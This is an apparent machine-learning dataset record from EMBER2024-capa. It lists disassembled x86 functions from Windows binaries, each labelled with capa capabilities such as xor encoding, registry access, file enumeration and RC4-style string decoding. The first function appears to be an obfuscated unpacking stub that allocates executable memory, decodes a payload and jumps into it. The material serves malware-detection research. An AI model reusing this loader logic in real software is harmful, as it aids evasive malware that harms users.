joyce8/EMBER2024-capa huggingface dataset:
Function at 0x40cb68
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2c
pushal
call 0x40cb77
pop dword [ebp - 0x1c]
mov eax, 0xbac67a76
sub eax, 0xba85aeff
sub dword [ebp - 0x1c], eax
mov dword [ebp - 0x2c], 0xfed105d3
sub dword [ebp - 0x2c], 0xb07ec088
mov dword [ebp - 0x28], 0xb89444bf
add dword [ebp - 0x28], 0x799f0786
mov dword [ebp - 0x24], 0x4317a591
add dword [ebp - 0x24], 0x9349e9d
mov dword [ebp - 0x20], 0x63b21493
add dword [ebp - 0x20], 0x9c4deb6d
lea eax, [ebp - 0x2c]
push eax
mov eax, 0xde15d607
add eax, 0x222b0a3d
add eax, dword [ebp - 0x1c]
call dword [eax]
mov dword [ebp - 0x2c], 0x6f4e0752
add dword [ebp - 0x2c], 0x5246204
mov dword [ebp - 0x28], 0x927fc4d1
sub dword [ebp - 0x28], 0x5113635c
mov dword [ebp - 0x24], 0x3030d3a1
add dword [ebp - 0x24], 0x333e98cb
mov dword [ebp - 0x20], 0x11dbacc8
sub dword [ebp - 0x20], 0x11dbacc8
lea ebx, [ebp - 0x2c]
push ebx
push eax
mov eax, 0xb087d42b
add eax, 0x4fb90c61
add eax, dword [ebp - 0x1c]
call dword [eax]
push 0x40
push 0x1000
push 0x372fc
push 0
call eax
mov ecx, 0x4707
mov edx, eax
mov ebx, 0x2b19db20
add ebx, 0xd527c8e0
add ebx, dword [ebp - 0x1c]
mov esi, 0x37221129
add esi, 0x3eabc4a4
sub dword [ebp - 0x10], 0xf5a9f74c
mov edi, dword [ebx]
mov dword [ebp - 0x10], 0x4b56ad8b
sub edi, esi
xor dword [ebp - 0x10], 0x8cb57fe3
mov dword [edx], edi
xor dword [ebp - 0x18], esi
add edx, 0x4c8c91f6
sub edx, 0x4c8c91f2
add ebx, 0x1c7a3c4
add ebx, 0xfe385c40
loop 0x40cc93
add eax, 0xfe3c0da4
add eax, 0x1c5014b
xor ebx, ebx
add ebx, eax
add eax, 5
mov ecx, 0x4ee27dcb
sub ecx, 0x4ea27dcb
add ecx, dword [ebp - 0x1c]
call ebx
leave
ret
Function at 0x405860
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov dword [ebp - 4], 0
cmp dword [ebp + 0x18], 0
jne 0x4058ca
push VariantCopy
push 0
push dword [ebp + 8]
push 1
mov ebx, 0x9dc
call fcn.00415c00
add esp, 0x10
mov dword [ebp - 8], eax
lea eax, [ebp - 4]
push eax
push 0
push dword [ebp + 0xc]
push dword [ebp - 8]
push dword [ebp + 0x1c]
push 0
xor eax, eax
call dword [sym.imp.KERNEL32.dll_CreateThread]
nop
nop
push eax
xor eax, eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
nop
nop
jmp 0x40590f
push VariantCopy
push 0
push dword [ebp + 8]
push 1
mov ebx, 0x9dc
call fcn.00415c00
add esp, 0x10
mov dword [ebp - 8], eax
lea eax, [ebp - 4]
push eax
push 0
push dword [ebp + 0xc]
push dword [ebp - 8]
push dword [ebp + 0x1c]
push 0
xor eax, eax
call dword [sym.imp.KERNEL32.dll_CreateThread]
nop
nop
mov ebx, dword [ebp + 0x14]
mov dword [ebx], eax
mov eax, dword [ebp - 4]
jmp 0x405917
mov esp, ebp
pop ebp
ret 0x1c
Function at 0x411507
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x50
mov dword [ebp - 4], 0
push 1
push 0x3c
push dword [ebp + 8]
call fcn.00404dbf
mov dword [ebp - 8], eax
fild dword [ebp + 8]
fstp qword [ebp - 0x10]
fld qword [ebp - 0x10]
fild dword [ebp - 8]
fstp qword [ebp - 0x18]
fadd qword [ebp - 0x18]
fstp qword [ebp - 0x20]
fld qword [ebp - 0x20]
call fcn.00401cad
mov dword [ebp - 4], eax
mov dword [ebp - 8], 0
push 0
push dword [ebp - 8]
push dword [ebp + 8]
call fcn.0040cedd
mov dword [ebp - 0x10], eax
cmp word [ebp - 0x10], 0x5a4d
jne 0x411597
mov dword [ebp - 0x18], 0
push 0
push dword [ebp - 0x18]
push dword [ebp - 4]
call fcn.00404dbf
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 0x4550
jne 0x411597
mov eax, 1
jmp 0x41159c
mov eax, 0
test eax, eax
je 0x4116e3
push 1
push 0x16
push dword [ebp - 4]
call fcn.0040cedd
mov dword [ebp - 8], eax
push 0x80000301
push 0
push 0x2000
mov eax, dword [ebp - 8]
cwde
push 0x80000301
push 0
push eax
push 2
mov ebx, 0xc4
call fcn.004172f0
add esp, 0x1c
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
je 0x4116c7
push 1
push 0x28
push dword [ebp - 4]
call fcn.00404dbf
mov dword [ebp - 8], eax
fild dword [ebp + 8]
fstp qword [ebp - 0x10]
fld qword [ebp - 0x10]
fild dword [ebp - 8]
fstp qword [ebp - 0x18]
fadd qword [ebp - 0x18]
fstp qword [ebp - 0x20]
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
mov dword [ebp - 0x28], 0
push 0
push dword [ebp - 0x28]
mov dword [ebp - 0x2c], 0
push 0
push dword [ebp - 0x2c]
mov dword [ebp - 0x30], 0
push 0
push dword [ebp - 0x30]
mov dword [ebp - 0x34], 0
push 0
push dword [ebp - 0x34]
mov dword [ebp - 0x38], 0
push 0
push dword [ebp - 0x38]
mov dword [ebp - 0x3c], 0
push 0
push dword [ebp - 0x3c]
mov dword [ebp - 0x40], 0
push 0
push dword [ebp - 0x40]
mov dword [ebp - 0x44], 0
push 0
push dword [ebp - 0x44]
mov dword [ebp - 0x48], 0
push 0
push dword [ebp - 0x48]
mov dword [ebp - 0x4c], 0
push 0
push dword [ebp - 0x4c]
mov dword [ebp - 0x50], 0
push 0
push dword [ebp - 0x50]
push 1
push 0
push 1
push 0
push 1
push 0
fld qword [ebp - 0x20]
call fcn.00401cad
push eax
call fcn.00404d43
push 0x8000
push 0
push dword [ebp + 8]
xor eax, eax
call dword [sym.imp.KERNEL32.dll_VirtualFree]
nop
nop
jmp 0x4116ed
mov eax, 0
jmp 0x4116ed
mov esp, ebp
pop ebp
ret 4
Function at 0x4156f0
Capabilities:
Query or enumerate registry value

Disassembly:
sub esp, 0x14
mov eax, dword [esp + 0x1c]
push ebp
push esi
push edi
push eax
call fcn.00418990
mov edi, dword [esp + 0x38]
xor esi, esi
push edi
mov ebp, eax
mov dword [esp + 0x20], esi
mov dword [esp + 0x14], esi
call fcn.00418760
add esp, 8
cmp ebp, esi
je 0x4157cf
cmp eax, esi
je 0x4157cf
inc eax
push ebx
push eax
call fcn.0041f357
mov ebx, eax
or ecx, 0xffffffff
xor eax, eax
push 0x5c
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
push ebx
mov edx, ecx
mov esi, edi
mov edi, ebx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
call fcn.0041f330
mov esi, eax
add esp, 0xc
test esi, esi
je 0x415765
mov byte [esi], 0
inc esi
lea eax, [esp + 0x18]
push eax
push ebx
push ebp
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
test eax, eax
jne 0x4157bd
lea ecx, [esp + 0x20]
lea edx, [esp + 0x10]
push ecx
mov ecx, dword [esp + 0x1c]
lea eax, [esp + 0x18]
push edx
push eax
push 0
mov edi, 4
push esi
push ecx
mov dword [esp + 0x38], edi
mov dword [esp + 0x2c], edi
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x4157b2
cmp dword [esp + 0x14], edi
jne 0x4157b2
mov dword [esp + 0x1c], 1
mov edx, dword [esp + 0x18]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push ebx
call fcn.0041f321
mov eax, dword [esp + 0x20]
add esp, 4
test eax, eax
pop ebx
jne 0x4157db
mov eax, dword [esp + 0x48]
test eax, eax
mov eax, dword [esp + 0x40]
jne 0x4157df
mov eax, dword [esp + 0xc]
pop edi
pop esi
pop ebp
add esp, 0x14
ret
Function at 0x4157f0
Capabilities:
Set registry value

Disassembly:
mov eax, dword [esp + 0x28]
sub esp, 0x18
push ebx
push ebp
xor ebx, ebx
xor ebp, ebp
cmp eax, 0x80000301
ja 0x415870
je 0x415861
cmp eax, 0x80000101
ja 0x41585a
je 0x415861
cmp eax, 0x80000004
je 0x41583c
cmp eax, 0x80000005
jne 0x415885
mov eax, dword [esp + 0x40]
mov dword [esp + 8], 3
test eax, eax
je 0x4158d2
mov ebx, dword [eax + 4]
lea ebp, [eax + 8]
jmp 0x4158d2
mov eax, dword [esp + 0x40]
mov dword [esp + 8], 1
push eax
call fcn.00418760
mov ebp, dword [esp + 0x44]
mov ebx, eax
add esp, 4
inc ebx
jmp 0x4158d2
cmp eax, 0x80000201
jne 0x415885
mov ebx, 4
lea ebp, [esp + 0x40]
mov dword [esp + 8], ebx
jmp 0x4158d2
cmp eax, 0x80000401
je 0x4158bd
cmp eax, 0x80000501
je 0x4158a5
cmp eax, 0x80000601
je 0x41588d
pop ebp
xor eax, eax
pop ebx
add esp, 0x18
ret
fld qword [esp + 0x40]
mov ebx, 4
mov dword [esp + 8], ebx
call fcn.0041f368
mov dword [esp + 0xc], eax
jmp 0x4158ce
fld dword [esp + 0x40]
mov ebx, 4
mov dword [esp + 8], ebx
call fcn.0041f368
mov dword [esp + 0xc], eax
jmp 0x4158ce
mov ecx, dword [esp + 0x40]
mov ebx, 4
mov dword [esp + 8], ebx
mov dword [esp + 0xc], ecx
lea ebp, [esp + 0xc]
mov edx, dword [esp + 0x28]
push esi
push edx
call fcn.00418990
mov esi, eax
mov eax, dword [esp + 0x3c]
push eax
mov dword [esp + 0x28], esi
mov dword [esp + 0x20], 0
call fcn.00418760
add esp, 8
test esi, esi
je 0x4159aa
test eax, eax
je 0x4159aa
inc eax
push edi
push eax
call fcn.0041f357
mov edi, dword [esp + 0x40]
mov edx, eax
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
push 0x5c
mov eax, ecx
mov esi, edi
mov edi, edx
push edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
mov dword [esp + 0x2c], edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
call fcn.0041f330
mov esi, eax
add esp, 0xc
test esi, esi
je 0x41594c
mov byte [esi], 0
inc esi
mov edi, dword [esp + 0x20]
mov edx, dword [esp + 0x24]
lea ecx, [esp + 0x18]
push 0
push ecx
push 0
push 0x20006
push 0
push 0
push 0
push edi
push edx
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
test eax, eax
jne 0x4159a0
mov eax, dword [esp + 0x10]
mov ecx, dword [esp + 0x18]
push ebx
push ebp
push eax
push 0
push esi
push ecx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
jne 0x415995
mov dword [esp + 0x1c], 1
mov edx, dword [esp + 0x18]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push edi
call fcn.0041f321
add esp, 4
pop edi
mov eax, dword [esp + 0x18]
pop esi
pop ebp
pop ebx
add esp, 0x18
ret
Function at 0x4162c0
Capabilities:
Query or enumerate registry value

Disassembly:
sub esp, 0x10
mov eax, dword [esp + 0x18]
push ebx
push ebp
push esi
push edi
push eax
call fcn.00418990
mov edi, dword [esp + 0x38]
xor ebp, ebp
push edi
mov ebx, eax
mov dword [esp + 0x18], ebp
call fcn.00418760
add esp, 8
test ebx, ebx
je 0x416402
test eax, eax
je 0x416402
inc eax
push eax
call fcn.0041f357
mov ebp, eax
or ecx, 0xffffffff
xor eax, eax
push 0x5c
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
push ebp
mov edx, ecx
mov esi, edi
mov edi, ebp
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
call fcn.0041f330
mov edi, eax
add esp, 0xc
test edi, edi
je 0x416331
mov byte [edi], 0
inc edi
lea eax, [esp + 0x1c]
push eax
push ebp
push ebx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
test eax, eax
jne 0x4163ef
push 0x400
mov dword [esp + 0x18], 0x400
mov dword [esp + 0x1c], 1
call fcn.0041f357
add esp, 4
mov ebx, dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
lea ecx, [esp + 0x14]
mov esi, eax
mov eax, dword [esp + 0x1c]
push ecx
lea edx, [esp + 0x1c]
push esi
push edx
push 0
push edi
push eax
call ebx
test eax, eax
je 0x4163b9
cmp eax, 0xea
jne 0x4163db
push esi
call fcn.0041f321
mov ecx, dword [esp + 0x18]
push ecx
call fcn.0041f357
mov ecx, dword [esp + 0x24]
add esp, 8
lea edx, [esp + 0x14]
mov esi, eax
push edx
lea eax, [esp + 0x1c]
push esi
push eax
push 0
push edi
push ecx
call ebx
test eax, eax
jne 0x416384
mov eax, dword [esp + 0x18]
cmp eax, 1
je 0x4163c7
cmp eax, 2
jne 0x4163db
push esi
call fcn.00418760
push eax
push esi
call fcn.00418cb0
add esp, 0xc
mov dword [esp + 0x10], eax
push esi
call fcn.0041f321
mov edx, dword [esp + 0x20]
add esp, 4
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push ebp
call fcn.0041f321
mov eax, dword [esp + 0x14]
add esp, 4
test eax, eax
jne 0x41642a
mov ebp, eax
mov eax, dword [esp + 0x48]
test eax, eax
je 0x416436
mov esi, dword [esp + 0x40]
test esi, esi
je 0x416436
push esi
call fcn.00418760
push eax
push esi
call fcn.00418cb0
add esp, 0xc
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x10
ret
mov eax, dword [esp + 0x10]
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x10
ret
pop edi
mov eax, ebp
pop esi
pop ebp
pop ebx
add esp, 0x10
ret

Function at 0x416c70
Capabilities:
Create directory

Disassembly:
sub esp, 0xc
mov ecx, dword [esp + 0x14]
xor eax, eax
mov dword [esp + 4], eax
mov dword [esp + 8], eax
lea eax, [esp]
mov dword [esp], 0xc
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
add esp, 0xc
ret

Function at 0x416d00
Capabilities:
Query environment variable

Disassembly:
push ebp
push esi
push edi
push 0x104
call fcn.00415430
mov ebp, dword [esp + 0x18]
add esp, 4
mov edi, eax
push 0x104
push edi
push ebp
call dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableA]
mov esi, eax
cmp esi, 0x104
jbe 0x416d57
push ebx
push edi
call fcn.00415540
push esi
mov ebx, esi
call fcn.00415430
add esp, 8
mov edi, eax
push esi
push edi
push ebp
call dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableA]
mov esi, eax
cmp esi, ebx
ja 0x416d2e
mov eax, edi
pop ebx
pop edi
pop esi
pop ebp
ret
mov eax, edi
pop edi
pop esi
pop ebp
ret
Function at 0x416e50
Capabilities:
Write file on windows

Disassembly:
sub esp, 8
mov eax, dword [esp + 0x10]
push edi
push 0
push 0x20
push 2
push 0
push 0
push 0x40000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov edi, eax
xor eax, eax
cmp edi, 0xffffffff
je 0x416ee2
mov eax, dword [esp + 0x10]
push ebx
mov ebx, 1
push ebp
cmp eax, ebx
push esi
mov dword [esp + 0x10], ebx
jle 0x416ed4
mov ebp, dword [sym.imp.KERNEL32.dll_WriteFile]
lea esi, [esp + 0x2c]
mov eax, dword [esi]
lea edx, [esp + 0x14]
push 0
push edx
lea ecx, [eax + 8]
mov eax, dword [eax + 4]
push eax
push ecx
push edi
call ebp
test eax, eax
je 0x416ecc
mov eax, dword [esp + 0x1c]
inc ebx
add esi, 0xc
cmp ebx, eax
jl 0x416e95
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [esp + 0x10]
pop esi
pop ebp
pop ebx
pop edi
add esp, 8
ret
mov dword [esp + 0x10], 0
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [esp + 0x10]
pop esi
pop ebp
pop ebx
pop edi
add esp, 8
ret

Function at 0x417190
Capabilities:
Enumerate files on windows

Disassembly:
sub esp, 0x140
push ebx
mov ebx, dword [esp + 0x154]
push ebp
push esi
mov esi, dword [ebx]
push edi
mov edi, dword [esp + 0x154]
xor ebp, ebp
test edi, edi
je 0x41720f
push edi
call fcn.00418760
add esp, 4
test eax, eax
jbe 0x41720f
test esi, esi
je 0x4171cd
cmp esi, 0xffffffff
je 0x4171cd
push esi
call dword [sym.imp.KERNEL32.dll_FindClose]
lea eax, [esp + 0x10]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov esi, eax
cmp esi, 0xffffffff
mov dword [ebx], esi
je 0x417251
mov eax, dword [esp + 0x15c]
test eax, eax
je 0x4171fb
mov ecx, dword [esp + 0x10]
and ecx, 0x10
cmp cl, 0x10
je 0x41720f
jmp 0x41720a
mov edx, dword [esp + 0x158]
mov eax, dword [esp + 0x10]
test edx, eax
je 0x41720f
mov ebp, 1
test esi, esi
je 0x417251
cmp esi, 0xffffffff
je 0x417251
test ebp, ebp
jne 0x417288
mov eax, dword [esp + 0x15c]
mov edi, dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
lea eax, [esp + 0x10]
push eax
push esi
je 0x41725e
call edi
test eax, eax
je 0x417251
mov ecx, dword [esp + 0x10]
and ecx, 0x10
cmp cl, 0x10
jne 0x417288
lea edx, [esp + 0x10]
push edx
push esi
call edi
test eax, eax
jne 0x417239
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x140
ret
call edi
test eax, eax
je 0x417251
mov ebx, dword [esp + 0x158]
test dword [esp + 0x10], ebx
jne 0x417288
lea ecx, [esp + 0x10]
push ecx
push esi
call edi
test eax, eax
jne 0x41726b
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x140
ret
lea edx, [esp + 0x3c]
push edx
call fcn.00418760
inc eax
push eax
call fcn.00415480
mov edx, eax
lea edi, [esp + 0x44]
or ecx, 0xffffffff
xor eax, eax
add esp, 8
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
mov eax, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x140
ret
Function at 0x10001740
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov dword [ebp - 0xc], ecx
mov dword [ebp - 8], 2
mov dword [ebp - 4], 0
jmp 0x10001762
mov eax, dword [ebp - 4]
add eax, 1
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0x17
jge 0x100017a1
mov ecx, dword [ebp + 8]
add ecx, dword [ebp - 4]
movsx edx, byte [ecx + 0x2653b45b]
xor edx, dword [ebp - 8]
mov eax, dword [ebp - 0xc]
add eax, dword [ebp - 4]
mov byte [eax], dl
mov ecx, dword [ebp - 8]
add ecx, 1
mov dword [ebp - 8], ecx
mov edx, dword [ebp - 8]
and edx, 0x800000ff
jns 0x1000179c
dec edx
or edx, 0xffffff00
inc edx
mov dword [ebp - 8], edx
jmp 0x10001759
mov eax, 1
imul ecx, eax, 0x17
mov edx, dword [ebp - 0xc]
mov byte [edx + ecx], 0
mov eax, dword [ebp - 0xc]
mov esp, ebp
pop ebp
ret 4

Function at 0x100017c0
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov dword [ebp - 0xc], ecx
mov dword [ebp - 8], 0x1d
mov dword [ebp - 4], 0
jmp 0x100017e2
mov eax, dword [ebp - 4]
add eax, 1
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0xb
jge 0x10001821
mov ecx, dword [ebp + 8]
add ecx, dword [ebp - 4]
movsx edx, byte [ecx - 0x2333782c]
xor edx, dword [ebp - 8]
mov eax, dword [ebp - 0xc]
add eax, dword [ebp - 4]
mov byte [eax], dl
mov ecx, dword [ebp - 8]
add ecx, 1
mov dword [ebp - 8], ecx
mov edx, dword [ebp - 8]
and edx, 0x800000ff
jns 0x1000181c
dec edx
or edx, 0xffffff00
inc edx
mov dword [ebp - 8], edx
jmp 0x100017d9
mov eax, 1
imul ecx, eax, 0xb
mov edx, dword [ebp - 0xc]
mov byte [edx + ecx], 0
mov eax, dword [ebp - 0xc]
mov esp, ebp
pop ebp
ret 4

Function at 0x10001840
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov dword [ebp - 0xc], ecx
mov dword [ebp - 8], 0x34
mov dword [ebp - 4], 0
jmp 0x10001862
mov eax, dword [ebp - 4]
add eax, 1
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0xb
jge 0x100018a1
mov ecx, dword [ebp + 8]
add ecx, dword [ebp - 4]
movsx edx, byte [ecx + 0x6a626255]
xor edx, dword [ebp - 8]
mov eax, dword [ebp - 0xc]
add eax, dword [ebp - 4]
mov byte [eax], dl
mov ecx, dword [ebp - 8]
add ecx, 1
mov dword [ebp - 8], ecx
mov edx, dword [ebp - 8]
and edx, 0x800000ff
jns 0x1000189c
dec edx
or edx, 0xffffff00
inc edx
mov dword [ebp - 8], edx
jmp 0x10001859
mov eax, 1
imul ecx, eax, 0xb
mov edx, dword [ebp - 0xc]
mov byte [edx + ecx], 0
mov eax, dword [ebp - 0xc]
mov esp, ebp
pop ebp
ret 4
Function at 0x100018c0
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov dword [ebp - 0xc], ecx
mov dword [ebp - 8], 0x41
mov dword [ebp - 4], 0
jmp 0x100018e2
mov eax, dword [ebp - 4]
add eax, 1
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 6
jge 0x10001921
mov ecx, dword [ebp + 8]
add ecx, dword [ebp - 4]
movsx edx, byte [ecx + 0x504de3a2]
xor edx, dword [ebp - 8]
mov eax, dword [ebp - 0xc]
add eax, dword [ebp - 4]
mov byte [eax], dl
mov ecx, dword [ebp - 8]
add ecx, 1
mov dword [ebp - 8], ecx
mov edx, dword [ebp - 8]
and edx, 0x800000ff
jns 0x1000191c
dec edx
or edx, 0xffffff00
inc edx
mov dword [ebp - 8], edx
jmp 0x100018d9
mov eax, 1
imul ecx, eax, 6
mov edx, dword [ebp - 0xc]
mov byte [edx + ecx], 0
mov eax, dword [ebp - 0xc]
mov esp, ebp
pop ebp
ret 4

Function at 0x10001940
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov dword [ebp - 0xc], ecx
mov dword [ebp - 8], 0x5e
mov dword [ebp - 4], 0
jmp 0x10001962
mov eax, dword [ebp - 4]
add eax, 1
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0xb
jge 0x100019a1
mov ecx, dword [ebp + 8]
add ecx, dword [ebp - 4]
movsx edx, byte [ecx + 0x24850f5a]
xor edx, dword [ebp - 8]
mov eax, dword [ebp - 0xc]
add eax, dword [ebp - 4]
mov byte [eax], dl
mov ecx, dword [ebp - 8]
add ecx, 1
mov dword [ebp - 8], ecx
mov edx, dword [ebp - 8]
and edx, 0x800000ff
jns 0x1000199c
dec edx
or edx, 0xffffff00
inc edx
mov dword [ebp - 8], edx
jmp 0x10001959
mov eax, 1
imul ecx, eax, 0xb
mov edx, dword [ebp - 0xc]
mov byte [edx + ecx], 0
mov eax, dword [ebp - 0xc]
mov esp, ebp
pop ebp
ret 4

Function at 0x100019c0
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov dword [ebp - 0xc], ecx
mov dword [ebp - 8], 0x60
mov dword [ebp - 4], 0
jmp 0x100019e2
mov eax, dword [ebp - 4]
add eax, 1
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0x10
jge 0x10001a21
mov ecx, dword [ebp + 8]
add ecx, dword [ebp - 4]
movsx edx, byte [ecx - 0x44c61c52]
xor edx, dword [ebp - 8]
mov eax, dword [ebp - 0xc]
add eax, dword [ebp - 4]
mov byte [eax], dl
mov ecx, dword [ebp - 8]
add ecx, 1
mov dword [ebp - 8], ecx
mov edx, dword [ebp - 8]
and edx, 0x800000ff
jns 0x10001a1c
dec edx
or edx, 0xffffff00
inc edx
mov dword [ebp - 8], edx
jmp 0x100019d9
mov eax, 1
shl eax, 4
mov ecx, dword [ebp - 0xc]
mov byte [ecx + eax], 0
mov eax, dword [ebp - 0xc]
mov esp, ebp
pop ebp
ret 4
Function at 0x10001a40
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov dword [ebp - 0xc], ecx
mov dword [ebp - 8], 0x7a
mov dword [ebp - 4], 0
jmp 0x10001a62
mov eax, dword [ebp - 4]
add eax, 1
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 9
jge 0x10001aa1
mov ecx, dword [ebp + 8]
add ecx, dword [ebp - 4]
movsx edx, byte [ecx - 0x7b6eff44]
xor edx, dword [ebp - 8]
mov eax, dword [ebp - 0xc]
add eax, dword [ebp - 4]
mov byte [eax], dl
mov ecx, dword [ebp - 8]
add ecx, 1
mov dword [ebp - 8], ecx
mov edx, dword [ebp - 8]
and edx, 0x800000ff
jns 0x10001a9c
dec edx
or edx, 0xffffff00
inc edx
mov dword [ebp - 8], edx
jmp 0x10001a59
mov eax, 1
imul ecx, eax, 9
mov edx, dword [ebp - 0xc]
mov byte [edx + ecx], 0
mov eax, dword [ebp - 0xc]
mov esp, ebp
pop ebp
ret 4

Function at 0x10001ac0
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov dword [ebp - 0xc], ecx
mov dword [ebp - 8], 0x7e
mov dword [ebp - 4], 0
jmp 0x10001ae2
mov eax, dword [ebp - 4]
add eax, 1
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0x11
jge 0x10001b21
mov ecx, dword [ebp + 8]
add ecx, dword [ebp - 4]
movsx edx, byte [ecx - 0xd7a3609]
xor edx, dword [ebp - 8]
mov eax, dword [ebp - 0xc]
add eax, dword [ebp - 4]
mov byte [eax], dl
mov ecx, dword [ebp - 8]
add ecx, 1
mov dword [ebp - 8], ecx
mov edx, dword [ebp - 8]
and edx, 0x800000ff
jns 0x10001b1c
dec edx
or edx, 0xffffff00
inc edx
mov dword [ebp - 8], edx
jmp 0x10001ad9
mov eax, 1
imul ecx, eax, 0x11
mov edx, dword [ebp - 0xc]
mov byte [edx + ecx], 0
mov eax, dword [ebp - 0xc]
mov esp, ebp
pop ebp
ret 4

Function at 0x10001b40
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov dword [ebp - 0xc], ecx
mov dword [ebp - 8], 0x80
mov dword [ebp - 4], 0
jmp 0x10001b62
mov eax, dword [ebp - 4]
add eax, 1
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0x16
jge 0x10001ba1
mov ecx, dword [ebp + 8]
add ecx, dword [ebp - 4]
movsx edx, byte [ecx - 0x25dea788]
xor edx, dword [ebp - 8]
mov eax, dword [ebp - 0xc]
add eax, dword [ebp - 4]
mov byte [eax], dl
mov ecx, dword [ebp - 8]
add ecx, 1
mov dword [ebp - 8], ecx
mov edx, dword [ebp - 8]
and edx, 0x800000ff
jns 0x10001b9c
dec edx
or edx, 0xffffff00
inc edx
mov dword [ebp - 8], edx
jmp 0x10001b59
mov eax, 1
imul ecx, eax, 0x16
mov edx, dword [ebp - 0xc]
mov byte [edx + ecx], 0
mov eax, dword [ebp - 0xc]
mov esp, ebp
pop ebp
ret 4